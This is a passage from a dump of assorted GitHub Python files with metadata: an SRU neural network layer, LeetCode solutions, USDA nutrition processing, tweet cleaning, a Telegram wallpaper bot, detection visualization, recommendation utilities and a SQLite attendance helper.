[]\n for i, rnn in enumerate(self.rnn_list):\n h, c = rnn(prevx, c0[i])\n prevx = h\n lstc.append(c)\n\n if is_packed:\n prevx = utils.rnn.pack_padded_sequence(prevx, lengths, batch_first=False)\n\n return prevx, torch.stack(lstc)\n\n def __repr__(self):\n s = '{name}({input_size}, {hidden_size}'\n s += ', nonlinearity={nonlinearity}'\n s += ', num_layers={num_layers}'\n if self.highway_bias is not True:\n s += ', highway_bias={highway_bias}'\n if self.stacked_dropout != 0:\n s += ', stacked_dropout={stacked_dropout}'\n if self.recurrent_dropout != 0:\n s += ', recurrent_dropout={recurrent_dropout}'\n if self.bidirectional:\n s += ', bidirectional={bidirectional}'\n s += ')'\n return s.format(name=self.__class__.__name__, **self.__dict__)\n","repo_name":"walton-wang929/NLP-resources","sub_path":"PyTorch-NLP/torchnlp/nn/sru.py","file_name":"sru.py","file_ext":"py","file_size_in_byte":20741,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37217172681","text":"class Solution:\n def findPaths(self, m: int, n: int, maxMove: int, startRow: int, startColumn: int) -> int: #O( MNK | MNK) K is the maxMove\n def helper(dp, m, n, movesLeft, r, c): #for current location, check how many ways to go out, with movesLeft moves\n if movesLeft in dp[r][c]:\n return dp[r][c][movesLeft]\n else:\n if movesLeft == 0:\n return 0\n else:\n dp[r][c][movesLeft] = 0\n direction = [[-1, 0], [0, -1], [0, 1], [1, 0]] # check the 4 directions\n for a, b in direction:\n nxt_r = r+a\n nxt_c = c+b \n if nxt_r == -1 or nxt_c == -1 or nxt_r == m or nxt_c == n:\n dp[r][c][movesLeft] += 1 \n else:\n dp[r][c][movesLeft] += helper(dp, m , n, movesLeft-1, nxt_r, nxt_c)\n return dp[r][c][movesLeft]\n \n dp = [[{} for _ in range(n)] for _ in range(m)]\n return helper(dp, m, n, maxMove, startRow, startColumn) % (10**9+7)\n \n \n \n\n# previous solution\n\n# class Solution:\n# def findPaths(self, m: int, n: int, maxMove: int, startRow: int, startColumn: int) -> int: # O(MNK | MNK), K is maxMove\n# if maxMove == 0 :\n# return 0\n# dp = [ [{} for c in range(n)] for r in range(m)]\n# def helper(output, dp, m, n, sr, sc, moveLeft): # m is total rows, n is total columns\n# if moveLeft in dp[sr][sc]:\n# return dp[sr][sc][moveLeft]\n# elif moveLeft == 0:\n# return 0\n# else:\n# dp[sr][sc][moveLeft] = 0 \n# direction = [[0,1], [1,0], [-1, 0], [0,-1]]\n# for a , b in direction:\n# nxt_r = sr + a \n# nxt_c = sc + b\n# if nxt_r < 0 or nxt_r == m or nxt_c < 0 or nxt_c == n:\n# dp[sr][sc][moveLeft] +=1\n# else:\n# dp[sr][sc][moveLeft] += helper(output, dp, m, n,nxt_r, nxt_c, moveLeft - 1)\n# output[0] += dp[sr][sc][moveLeft]\n# # print(sr, sc, moveLeft, output)\n# return dp[sr][sc][moveLeft]\n \n# output = [0]\n# helper(output, dp, m,n, startRow, startColumn, maxMove)\n# # print(dp)\n# return dp[startRow][startColumn][maxMove] % (10**9+7)\n\n \n \n\n\n# previous solution\n\n# class Solution:\n# def findPaths(self, m: int, n: int, maxMove: int, startRow: int, startColumn: int) -> int:\n# if maxMove == 0:\n# return 0\n# dp = [ [{} for c in range(n)] for r in range(m)]\n# def helper(dp, m, n, sr, sc, rem): # m is total rows, n is total columns, rem is the moves remaining\n# if rem in dp[sr][sc]:\n# return dp[sr][sc][rem]\n# elif rem == 0:\n# return 0\n# else:\n# dp[sr][sc][rem] = 0\n# direction = [[0,1], [1,0], [-1, 0], [0,-1]]\n# for a , b in direction: #check current move and go to next cell,\n# nxt_r = sr + a\n# nxt_c = sc + b\n# if nxt_r < 0 or nxt_r == m or nxt_c < 0 or nxt_c == n:\n# dp[sr][sc][rem] +=1\n# else:\n# dp[sr][sc][rem] += helper(dp, m, n,nxt_r, nxt_c, rem - 1)\n# return dp[sr][sc][rem]\n\n# helper(dp, m,n, startRow, startColumn, maxMove)\n# # print(dp)\n# return dp[startRow][startColumn][maxMove] % (10**9+7)\n","repo_name":"renjieliu/leetcode","sub_path":"0001_0599/576.py","file_name":"576.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"34446652820","text":"\"\"\"\n Prosess nutritional info from FNDDS 2019-2020 dataset available at\n https://fdc.nal.usda.gov/download-datasets.html\n Foods in the resulting dataframe are represented by their FDC ID that can be\n found on the Survey Foods (FNDDS) tab at https://fdc.nal.usda.gov/fdc-app.html\n All nutrition values listed are per 100g of food.\n\"\"\"\n\nimport json\nimport pandas as pd\n\n\n# keep only the following nutrients in this order\nnutrient_name = {\n 'Energy': 'Energy',\n 'Water': 'Water',\n # macronutrients\n 'Protein': 'Protein',\n 'Carbohydrate, by difference': 'Carbohydrate',\n 'Sugars, total including NLEA': 'Sugar',\n 'Fiber, total dietary': 'Fiber',\n 'Total lipid (fat)': 'Fat',\n 'Fatty acids, total monounsaturated': 'Fat, monounsaturated',\n 'Fatty acids, total polyunsaturated': 'Fat, polyunsaturated',\n 'Fatty acids, total saturated': 'Fat, saturated',\n 'Cholesterol': 'Cholesterol',\n # minerals\n 'Calcium, Ca': 'Calcium',\n 'Copper, Cu': 'Copper',\n 'Iron, Fe': 'Iron',\n 'Magnesium, Mg': 'Magnesium',\n 'Phosphorus, P': 'Phosphorus',\n 'Potassium, K': 'Potassium',\n 'Selenium, Se': 'Selenium',\n 'Sodium, Na': 'Sodium',\n 'Zinc, Zn': 'Zinc',\n # vitamins\n 'Vitamin A, RAE': 'A',\n 'Thiamin': 'B1',\n 'Riboflavin': 'B2',\n 'Niacin': 'B3',\n 'Vitamin B-6': 'B6',\n 'Folate, total': 'B9',\n 'Vitamin B-12': 'B12',\n 'Vitamin C, total ascorbic acid': 'C',\n 'Vitamin D (D2 + D3)': 'D',\n 'Vitamin E (alpha-tocopherol)': 'E',\n 'Vitamin K (phylloquinone)': 'K',\n # Omega-3\n 'PUFA 22:5 n-3 (DPA)': 'DPA',\n 'PUFA 22:6 n-3 (DHA)': 'DHA',\n 'PUFA 20:5 n-3 (EPA)': 'EPA',\n # ignored values\n ##'Alcohol, ethyl'\n ##'Caffeine'\n ##'Theobromine'\n ##'Retinol' # included in Vitamin A\n ##'Carotene, beta' # can be converted to Vitamin A\n ##'Carotene, alpha' # can be converted to Vitamin A\n ##'Cryptoxanthin, beta' # also carotenoid\n ##'Lycopene' # also carotenoid\n ##'Lutein + zeaxanthin' # this too\n ##'Choline, total'\n ##'Folic acid'\n ##'Folate, food'\n ##'Folate, DFE'\n ##'Vitamin E, added'\n ##'Vitamin B-12, added'\n ##'SFA 4:0'\n ##'SFA 6:0'\n ##'SFA 8:0'\n ##'SFA 10:0'\n ##'SFA 12:0'\n ##'SFA 14:0'\n ##'SFA 16:0'\n ##'SFA 18:0'\n ##'MUFA 18:1'\n ##'PUFA 18:2'\n ##'PUFA 18:3'\n ##'PUFA 20:4'\n ##'MUFA 16:1'\n ##'PUFA 18:4'\n ##'MUFA 20:1'\n ##'MUFA 22:1'\n}\n\n\n# RDA data is taken from https://www.fda.gov/media/99069/download\n# see also pages 903-906 at\n# https://s3.amazonaws.com/public-inspection.federalregister.gov/2016-11867.pdf\nrda_nutrients = {\n 'Energy': 2000,\n 'Water': 4000,\n # macronutrients\n 'Protein': 100,\n 'Carbohydrate, by difference': 200,\n 'Sugars, total including NLEA': 50,\n 'Fiber, total dietary': 30,\n 'Total lipid (fat)': 100,\n 'Fatty acids, total monounsaturated': 35,\n 'Fatty acids, total polyunsaturated': 35,\n 'Fatty acids, total saturated': 30,\n 'Cholesterol': 300,\n # minerals\n 'Iron, Fe': 18,\n 'Calcium, Ca': 1300,\n 'Copper, Cu': .9,\n 'Magnesium, Mg': 420,\n 'Selenium, Se': 55,\n 'Sodium, Na': 2300,\n 'Phosphorus, P': 1250,\n 'Potassium, K': 4700,\n 'Zinc, Zn': 11,\n # vitamins\n 'Vitamin A, RAE': 900,\n 'Thiamin': 1.2,\n 'Riboflavin': 1.3,\n 'Niacin': 16,\n 'Vitamin B-6': 1.7,\n 'Folate, total': 400,\n 'Vitamin B-12': 2.4,\n 'Vitamin C, total ascorbic acid': 90,\n 'Vitamin D (D2 + D3)': 20,\n 'Vitamin E (alpha-tocopherol)': 15,\n 'Vitamin K (phylloquinone)': 120,\n # Omega-3\n 'PUFA 22:5 n-3 (DPA)': .2,\n 'PUFA 22:6 n-3 (DHA)': .2,\n 'PUFA 20:5 n-3 (EPA)': .2,\n }\n\n\ndef process_usda_data(save=True):\n \"\"\"Process and save USDA nutrition data\"\"\"\n usda_data_file = './data/FoodData_Central_survey_food_json_2022-10-28.json'\n with open(usda_data_file, 'r') as data_file:\n usda_data = json.loads(data_file.read())\n\n # start with RDA control entry\n foods = dict({0: {'Description': 'RDA',\\\n **{nutrient_name[nutrient]: amount\\\n for nutrient, amount in rda_nutrients.items()}}})\n\n # extract the relevant nutrition info for each food item\n for food in list(usda_data.values())[0]:\n foods[food['fdcId']] = {'Description': food['description']}\n info = foods[food['fdcId']]\n for nutrient in food['foodNutrients']:\n if nutrient['nutrient']['name'] in nutrient_name:\n label = f\"{nutrient_name[nutrient['nutrient']['name']]}\"\n info[label] = nutrient['amount']\n\n # save the processed info\n df = pd.DataFrame.from_dict(foods, orient='index')\n df = df[['Description'] + list(nutrient_name.values())]\n df = df.reset_index().rename(columns={'index': 'FDC ID'})\n if save:\n df.to_csv('./data/nutrition_info.csv', index=False)\n return df\n\n\nif __name__ == '__main__':\n\n df = process_usda_data(save=True)\n\n","repo_name":"sukiboo/nutrition_info","sub_path":"process_nutrition_data.py","file_name":"process_nutrition_data.py","file_ext":"py","file_size_in_byte":4957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23494958130","text":"import re\nimport sys\nimport tweepy\nimport csv\nimport regex\nimport operator\nimport numpy as np\nimport preprocessor as pre\n\n\ndef cleanRT(aTweet):\n print(aTweet[:3] == \"rt \")\n\ndef clean(userName):\n\n # Clean stopwords\n stopFile = open(\"data/stopWords/turkish.txt\", 'r')\n allStop = list()\n for stopWord in stopFile:\n if stopWord != '\\n':\n allStop += [stopWord.strip(\"\\n\").strip(\" \").strip(\"\\t\")]\n stopFile.close()\n\n # Remove english tweets\n englishFile = open(\"data/stopWords/english.txt\", 'r')\n englishWords = list()\n for englishWord in englishFile:\n if englishWord != '\\n':\n englishWords += [englishWord.strip(\"\\n\").strip(\" \").strip(\"\\t\")]\n englishFile.close()\n\n allStop += [\"cok\", \"icin\", \"bi\", \"im\", \"https\", \"la\", \"bak\", \"slam\", \"dr\",\n \"falan\", \"mi\", \"evet\", \"ye\", \"ka\", \"lan\", \"yav\", \"aq\", \"ol\", \"rde\",\n \"amp\", \"size\", \"ran\", \"şte\", \"ey\", \"sn\", \"şehi\", \"ürk\", \"lar\",\n \"sayın\", \"abi\", \"tl\", 'https', 'nü', \"pr\", \"ta\"] + englishWords\n stopSet = set(allStop)\n\n\n inputFile = open('data/raw/%s_tweets.csv' % userName, 'rt')\n outputFile = open('data/clean/%s_cleaned.csv' % userName, 'wt')\n\n pre.set_options(pre.OPT.URL, pre.OPT.EMOJI, pre.OPT.SMILEY,\n pre.OPT.MENTION, pre.OPT.HASHTAG)\n reader = csv.reader(inputFile)\n writer = csv.writer(outputFile)\n\n for line in reader:\n label = line[0]\n text = line[1]\n currentString = str()\n for word in pre.clean(text).lower().split():\n cleanedWord = regex.sub(u'[^\\p{Latin}]', u'', word)\n if cleanedWord not in stopSet:\n currentString += cleanedWord + \" \"\n currentString = currentString[3:] if currentString[:3 ] == \"rt \" else currentString\n if currentString.strip():\n writer.writerow((label, currentString.strip()))\n\n inputFile.close()\n outputFile.close()\n","repo_name":"skagankose/sehirTweets","sub_path":"tweetCleaner.py","file_name":"tweetCleaner.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18291115473","text":"import requests\nimport sqlite3\nimport time\nimport datetime\nimport html5lib\nfrom bs4 import BeautifulSoup\nimport os\nfrom urllib.request import urlretrieve\n\ndef sendMessage(token,cid,text):\n r = requests.get(\"https://api.telegram.org/bot\"+token+\"/sendMessage?chat_id=\"+cid+\"&text=\"+text)\n\ndef sendPhoto(token,cid,photo,caption=\"\"):\n #print(\"https://api.telegram.org/bot\"+token+\"/sendPhoto?chat_id=\"+cid+\"&photo=\"+photo+\"&caption=\"+caption)\n r = requests.get(\"https://api.telegram.org/bot\"+token+\"/sendPhoto?chat_id=\"+cid+\"&photo=\"+photo+\"&caption=\"+caption)\n return r.json()\n\ntoken = \"1234567\"\nconn = sqlite3.connect('memory')\nc = conn.cursor()\nwhile True:\n cur = c.execute(\"SELECT id from update_id\")\n local_id = next(cur)[0]\n r = requests.get(\"https://api.telegram.org/bot\"+token+\"/getUpdates?limit=1&offset=\"+local_id)\n if not r.json()['result']:\n time.sleep(1)\n continue\n fjson = r.json()['result'][0]\n update_id = fjson['update_id']\n #print(update_id)\n \n '''\n if update_id < int(local_id):\n time.sleep(1)\n continue\n '''\n\n if 'message' in fjson:\n message = fjson['message']\n else: \n message = fjson['edited_message']\n chat = message['chat']\n cid = str(chat['id'])\n\n if \"new_chat_participant\" in message:\n sendMessage(token,cid,\"欢迎我自己加入群聊\")\n final_id = str(update_id+1)\n c.execute(\"UPDATE update_id set id =\"+final_id)\n conn.commit()\n time.sleep(1)\n continue\n if 'text' not in message:\n final_id = str(update_id+1)\n c.execute(\"UPDATE update_id set id =\"+final_id)\n conn.commit()\n time.sleep(1)\n continue\n text = message['text']\n cmd = text.split()[0].split(\"@\")\n\n if cmd[0] == \"/bing\":\n date = str(datetime.date.today())\n files = os.listdir('bing')\n if date+\".jpg\" in files:\n f = open(\"bing/\"+date+\".txt\",\"r\")\n ff = f.readlines()\n f.close()\n photo = ff[0].split(\"\\n\")[0]\n cap = ff[1]\n #print(cap)\n sendPhoto(token,cid,photo,cap)\n else:\n fi = None\n while not fi:\n res = requests.get(\"https://cn.bing.com\")\n soup = BeautifulSoup(res.text,\"html5lib\")\n fi = soup.find(\"div\",{\"id\":\"bgImgProgLoad\"})\n Link = \"https://cn.bing.com/\"+ fi[\"data-ultra-definition-src\"]\n caption = soup.find(\"a\",{\"id\":\"sh_cp\"})['title']\n file_id = sendPhoto(token,cid,Link,caption)['result']['photo'][0]['file_id']\n f = open(\"bing/\"+date+\".txt\",\"a\")\n f.write(file_id+\"\\n\")\n f.write(caption)\n f.close()\n #c.execute('INSERT INTO bing (time) VALUES('+date+')')\n urlretrieve(Link, \"./bing/\"+date+\".jpg\")\n elif cmd[0] == \"/history\":\n files = os.listdir('bing')\n fileset = {f.split(\".\")[0] for f in files}\n answer = \"目前可供选择的日期有\"\n for i in fileset:\n answer += \"%0A\" + i \n if text.split()[0] == text:\n sendMessage(token,cid,answer)\n elif text.split()[1] not in fileset:\n reply = \"日期不存在/输入错误%0A\"+answer\n sendMessage(token,cid,reply)\n else:\n fname = \"bing/\"+text.split()[1]+\".txt\"\n f = open(fname,\"r\")\n ff = f.readlines()\n f.close()\n photo = ff[0].split(\"\\n\")[0]\n cap = ff[1]\n sendPhoto(token,cid,photo,cap)\n else:\n #sendMessage(token,cid,text)\n pass\n final_id = str(update_id+1)\n c.execute(\"UPDATE update_id set id =\"+final_id)\n conn.commit()\n time.sleep(0.5)","repo_name":"Putinspudding/TGBot","sub_path":"tgbot.py","file_name":"tgbot.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14782594204","text":"'''\nhttps://leetcode.com/problems/insert-interval/\n\nGiven a set of non-overlapping intervals, insert a new interval into the intervals (merge if necessary).\n\nYou may assume that the intervals were initially sorted according to their start times.\n\nExample 1:\nGiven intervals [1,3],[6,9], insert and merge [2,5] in as [1,5],[6,9].\n\nExample 2:\nGiven [1,2],[3,5],[6,7],[8,10],[12,16], insert and merge [4,9] in as [1,2],[3,10],[12,16].\n\nThis is because the new interval [4,9] overlaps with [3,5],[6,7],[8,10].\n'''\n\n# Definition for an interval.\nclass Interval(object):\n def __init__(self, s=0, e=0):\n self.start = s\n self.end = e\n\n def __repr__(self):\n return '[%s, %s]' % (self.start, self.end)\n\n\nclass Solution(object):\n def insert(self, intervals, newInterval):\n \"\"\"\n :type intervals: List[Interval]\n :type newInterval: Interval\n :rtype: List[Interval]\n \"\"\"\n result = []\n s = newInterval.start\n e = newInterval.end\n i = 0\n inserted = False\n while i < len(intervals):\n itv = intervals[i]\n if (itv.start <= s <= itv.end or\n itv.start <= e <= itv.end or\n s <= itv.start and e >= itv.end):\n while i < len(intervals):\n itv = intervals[i]\n if (itv.start <= s <= itv.end or\n itv.start <= e <= itv.end or\n s <= itv.start and e >= itv.end):\n s = min(s, itv.start)\n e = max(e, itv.end)\n else:\n break\n i += 1\n else:\n if not inserted and itv.start > e:\n result.append(Interval(s, e))\n inserted = True\n result.append(itv)\n i += 1\n if not inserted:\n result.append(Interval(s, e))\n return result\n\n\ndef solve(intervals, interval):\n intervals = [Interval(s, e) for s, e in intervals]\n interval = Interval(interval[0], interval[1])\n r = Solution().insert(intervals, interval)\n return [[i.start, i.end] for i in r]\n\nif __name__ == '__main__':\n assert solve([[2,5],[6,7],[8,9]], [0,1]) == [[0,1],[2,5],[6,7],[8,9]]\n assert solve([[1, 2]], [4,5]) == [[1,2], [4,5]]\n assert solve([[4, 5]], [1,2]) == [[1,2], [4,5]]\n assert solve([], [1,5]) == [[1,5]]\n assert solve([[1,3],[6,9]], [2,5]) == [[1,5],[6,9]]\n assert solve([[1,2],[3,5],[6,7],[8,10],[12,16]], [4,9]) == [[1,2],[3,10],[12,16]]\n","repo_name":"irachex/leetcode","sub_path":"insert-interval.py","file_name":"insert-interval.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"37814936412","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow import keras\ndef read_data(N):\n df=pd.read_csv('data.txt',header=None)#没有列名,为None\n data=df.values#提取数据内容\n X=[]\n Y=[]\n for i in range(N,len(data)):\n s=[]\n for j in range(i-N,i):\n s.append(data[j][0])\n X.append(s)\n Y.append(data[i][0])\n return np.array(X),np.array(Y)\n\nN=7#特征数目\nX,Y=read_data(N)\n#数据均值化\nmin_max_scaler = MinMaxScaler()\nmin_max_scaler.fit(X)\nx = min_max_scaler.transform(X)#均值化处理\nx_ = min_max_scaler.transform([[24.5,25.0,24.0,25.0,21.0,20.5,21.0]])#这里随便取一组数据,作为后面预测用,注意数据维度\ny=Y\n#划分数据集,按训练集:测试集=8:2比例划分\nx_train,x_test,y_train,y_test = train_test_split(x,y,test_size = 0.2)\n#模型结构,采用relu函数为激活函数,输入层为N个属性\n#下面为4层隐含层,每层的神经元个数依次为500,500,250,250\n#输入层对应N个属性\nmodel = keras.Sequential([\n keras.layers.Dense(500,activation='relu',input_shape=[N]),\n keras.layers.Dense(500,activation='relu'),\n keras.layers.Dense(250,activation='relu'),\n keras.layers.Dense(250,activation='relu'),\n keras.layers.Dense(1)])#最后输出为一个结果,也就是预测的值\n#定义损失函数loss,采用的优化器optimizer为Adam\nmodel.compile(loss='mean_absolute_error',optimizer='Adam')\n#开始训练模型\nmodel.fit(x_train,y_train,batch_size = 126,epochs=1000)#训练1000个批次,每个批次数据量为126\n#输出结果预测\ny_=model.predict(x_)\nprint('预测结果为:',y_)\n","repo_name":"Jarvanen/performancePrediction","sub_path":"anntest.py","file_name":"anntest.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"19643198068","text":"import plyvel\nfrom pprint import pprint\n\nfrom bcdbr.eth import gethdb, decoding\n\nGETH_DB_PATH = \"/home/yao/Ethereum/geth-linux-amd64-1.8.27-4bcc0a37/geth-storage/geth/chaindata\"\ndb = gethdb.create_db(GETH_DB_PATH)\n\ndef test_empty_block_body_decoding():\n block_body_bytes = gethdb.get_block_body(db, 1)\n\n assert block_body_bytes != None\n body = decoding.block_body(block_body_bytes)\n\n assert body.transactions == []\n assert body.uncles == []\n\ndef test_full_block_body_decoding():\n # https://etherscan.io/block/5000006 depicts block rewards & uncles\n block_body_bytes = gethdb.get_block_body(db, 5000006)\n\n assert block_body_bytes != None\n\n body = decoding.block_body(block_body_bytes)\n assert body.transactions != []\n # withold testing uncles until after implementation\n\ndef test_block_receipts_decoding():\n receipts_bytes = gethdb.get_receipts(db, 5000006)\n assert receipts_bytes != None\n receipts = decoding.receipts(receipts_bytes)\n assert len(receipts) == 202\n\ndef test_retrieve_full_block():\n block = gethdb.get_fullblock_from_num(db, 5000006)\n assert block.parenthash.hex() == \"5c04a0fc96cd81f28cfcdb6e25a20266e78067f4712aa2fbb85f21435f7b068a\"\n assert block.uncleshash.hex() == \"99004d7c7986d2d0fbf1b678f96d7d4504d28f4b662b27a924f965683359a28c\"\n","repo_name":"qoire/bcdbr","sub_path":"test/test_gethdb.py","file_name":"test_gethdb.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70163275254","text":"import glob\nfrom detectron2.config import get_cfg\nfrom detectron2.utils.visualizer import ColorMode\nfrom detectron2.data import MetadataCatalog\nfrom detectron2.utils.visualizer import Visualizer\nfrom detectron2.engine import DefaultPredictor\nimport cv2\nimport os\nmeta = MetadataCatalog.get('cityscapes_foggy_val')\n\ndatasets = {\n # \"cityscapes\": \"/projects/sina/RegionCLIP/datasets/cityscapes/leftImg8bit/test\",\n \"foggy-cityscapes\": \"/projects/sina/RegionCLIP/datasets/cityscapes/leftImg8bit_foggy/test\",\n \"bdd\": \"/projects/sina/RegionCLIP/datasets/bdd100k/images/100k/data\"\n}\n\nmodels = ['ours', 'baseline']\n\nfor dataset_name, dataset_path in datasets.items():\n image_files = glob.glob(dataset_path + \"/**/*.jpg\", recursive=True) + glob.glob(dataset_path + \"/**/*0.02.png\",\n recursive=True)\n\n image_files = image_files[:500]\n image_names = [os.path.basename(f) for f in image_files]\n\n images = [cv2.imread(f) for f in image_files]\n for model in models:\n # Gather all jpg images (including sub-directories)\n\n cfg = get_cfg()\n cfg.merge_from_file('./configs/City-Experiments/faster_rcnn_CLIP_R_50_C4.yaml')\n\n if model == 'ours':\n cfg.MODEL.WEIGHTS = '/projects/sina/RegionCLIP/output/exp_cross_city/DG_cityscapes_foggy/model_0029999.pth'\n elif model == 'baseline':\n cfg.MODEL.WEIGHTS = '/projects/sina/RegionCLIP/output/exp_cross_city/baseline/train-on-cityscapes/model_0029999.pth'\n\n cfg.MODEL.CLIP.OPENSET_TEST_TEXT_EMB_PATH = '/projects/sina/RegionCLIP/pretrained_ckpt/concept_emb/city_8_emb.pth'\n cfg.MODEL.CLIP.TEXT_EMB_PATH = '/projects/sina/RegionCLIP/pretrained_ckpt/concept_emb/city_8_emb.pth'\n cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = 0.5 # set the testing threshold for this model\n\n predictor = DefaultPredictor(cfg)\n\n for i in range(len(images)):\n im = images[i]\n image_name = image_names[i]\n\n outputs = predictor(im)\n v = Visualizer(im[:, :, ::-1],\n metadata=meta,\n scale=1.2,\n instance_mode=ColorMode.IMAGE_BW\n )\n v._default_font_size = 20 # this changes the font size\n v._instance_box_thickness = 4 # this changes the thickness of the bounding box\n v = v.draw_instance_predictions(outputs[\"instances\"].to(\"cpu\"))\n cv2.imwrite(os.path.join(f'./predictions/{dataset_name}_{model}', \"img_{}.jpg\".format(image_name)),\n v.get_image()[:, :, ::-1])\n","repo_name":"sinamalakouti/CDDMSL","sub_path":"visualize_test_city.py","file_name":"visualize_test_city.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"29110779582","text":"import pickle as pkl\nimport numpy as np\nimport scipy.sparse as sp\nimport torch\nimport scipy.io as scio\nimport math\n\n\nclass dotdict(dict):\n \"\"\"dot.notation access to dictionary attributes\"\"\"\n __getattr__ = dict.__getitem__\n __setattr__ = dict.__setitem__\n __delattr__ = dict.__delitem__\n \ndef normalized_hypergraph(H):\n columnsum = H.sum(0)\n rowsum = H.sum(1)\n \n diagD = 1 / np.sqrt(rowsum)\n diagB = 1 / columnsum\n\n D = np.diag(diagD)\n B = np.diag(diagB)\n Omega = np.eye(H.shape[1])\n \n hx = D.dot(H).dot(Omega).dot(B).dot(H.transpose()).dot(D)\n\n return hx \n \ndef load_data(filename, semantic_name):\n\n data_mat = scio.loadmat(filename)\n training_user_data = data_mat['hypergraph']\n hist_movie_list = data_mat['hist_item_list']\n training_movie_list_unique = data_mat['training_item_list_unique']\n test_movie_list_unique = data_mat['test_item_list_unique']\n training_labels = data_mat['training_label']\n test_labels = data_mat['test_label']\n\n\n movie_list = np.vstack((hist_movie_list, training_movie_list_unique))\n movie_list = np.vstack((movie_list, test_movie_list_unique))\n\n\n with open(semantic_name, 'rb') as f:\n semantic = pkl.load(f)\n\n\n Z = np.zeros((len(movie_list), semantic[1].shape[1]))\n for i in range(len(movie_list)):\n Z[i, :] = semantic[movie_list[i].item()]\n\n\n\n update_training_labels = np.zeros((training_labels.shape[0]))\n for i in range(training_labels.shape[0]):\n idx = np.where(training_movie_list_unique == training_labels[i])[0]\n update_training_labels[i] = idx\n\n\n index_hist = np.arange(0, len(hist_movie_list), 1)\n index_training = update_training_labels + len(hist_movie_list) \n index_training = index_training.astype(np.int)\n\n\n\n\n update_test_labels = np.zeros((test_labels.shape[0]))\n for i in range(test_labels.shape[0]):\n idx = np.where(test_movie_list_unique == test_labels[i])[0]\n update_test_labels[i] = idx\n\n\n index_test = update_test_labels + len(hist_movie_list) + len(training_movie_list_unique) \n index_test = index_test.astype(np.int)\n\n \n \n X = training_user_data\n U = data_mat['feature']\n U_baseline = data_mat['feature_baseline']\n \n return X, U, U_baseline, Z, index_hist, index_training, index_test\n\n\n# Calculates the ideal discounted cumulative gain at k\ndef idcg_k(k):\n res = sum([1.0/math.log(i+2, 2) for i in range(k)])\n if not res:\n return 1.0\n else:\n return res\n\ndef ndcg_k(actual, predicted, topk):\n res = 0\n for user_id in range(len(actual)):\n k = min(topk, len(actual[user_id]))\n idcg = idcg_k(k)\n dcg_k = sum([int(predicted[user_id][j] in set(actual[user_id])) / math.log(j+2, 2) for j in range(topk)])\n res += dcg_k / idcg\n return res / float(len(actual))\n \ndef precision_at_k(actual, predicted, topk):\n sum_precision = 0.0\n num_users = len(predicted)\n for i in range(num_users):\n act_set = set(actual[i])\n pred_set = set(predicted[i][:topk])\n sum_precision += len(act_set & pred_set) / float(topk)\n\n return sum_precision / num_users \n \ndef hitrate_at_k(actual, predicted, topk):\n num_hit = 0\n num_interacted = 0\n num_users = len(predicted)\n for i in range(num_users):\n act_set = set(actual[i])\n pred_set = set(predicted[i][:topk])\n num_hit += len(act_set & pred_set)\n num_interacted += len(act_set)\n \n return num_hit/num_interacted \n \n \n \n \n \n \n \n \n ","repo_name":"wuhanrui/UIMA","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29904063272","text":"import sqlite3 as db\n\n\ndef getdetailsname(name):\n if name == None or name ==\"Unknown\":\n return 0\n\n else:\n conn = db.connect('Database.db')\n cur = conn.cursor()\n\n cur.execute(\"SELECT empid from employee where name = (?)\", (name,))\n data = cur.fetchall()\n return data[0][0]\n\n\ndef getdetailsid(id1):\n conn = db.connect('Database.db')\n cur = conn.cursor()\n\n cur.execute(\"SELECT name from employee where empid = (?)\", (id1,))\n data = cur.fetchall()\n return data[0][0]\n\n\ndef getalldetails(stype,skey):\n conn = db.connect('Database.db')\n cur = conn.cursor()\n if stype == 'name':\n try:\n cur.execute(\"SELECT empid,age,gender,contact from employee where name = (?)\",(skey,))\n data = cur.fetchone()\n name = skey\n empid = data[0]\n age = data[1]\n gender = data[2]\n contact = data[3]\n return True, empid, name, age, gender, contact\n except ValueError:\n return False, None, None, None, None, None\n except TypeError:\n return False, None,None,None,None,None\n elif stype == 'id':\n try:\n cur.execute(\"SELECT name,age,gender,contact from employee where empid = (?)\",(skey,))\n data = cur.fetchone()\n name = data[0]\n empid = skey\n age = data[1]\n gender = data[2]\n contact = data[3]\n return True, empid,name,age,gender,contact\n except ValueError:\n return False, None,None,None,None,None\n except TypeError:\n return False, None,None,None,None,None\n elif stype == 'age':\n try:\n cur.execute(\"SELECT empid,name,gender,contact from employee where age = (?)\",(skey,))\n data = cur.fetchone()\n name = data[1]\n empid = data[0]\n age = skey\n gender = data[2]\n contact = data[3]\n return True, empid,name,age,gender,contact\n except ValueError:\n return False, None,None,None,None,None\n except TypeError:\n return False, None,None,None,None,None\n elif stype == 'contact':\n try:\n cur.execute(\"SELECT empid,age,gender,name from employee where contact = (?)\",(skey,))\n data = cur.fetchone()\n name = data[3]\n empid = data[0]\n age = data[1]\n gender = data[2]\n contact = skey\n return True, empid,name,age,gender,contact\n except ValueError:\n return False, None,None,None,None,None\n except TypeError:\n return False, None,None,None,None,None\n\n\ndef getattend(colname):\n conn = db.connect('Database.db')\n cur = conn.cursor()\n attend = {}\n sql = \"SELECT date,\" + colname + \" from TimeIN\"\n 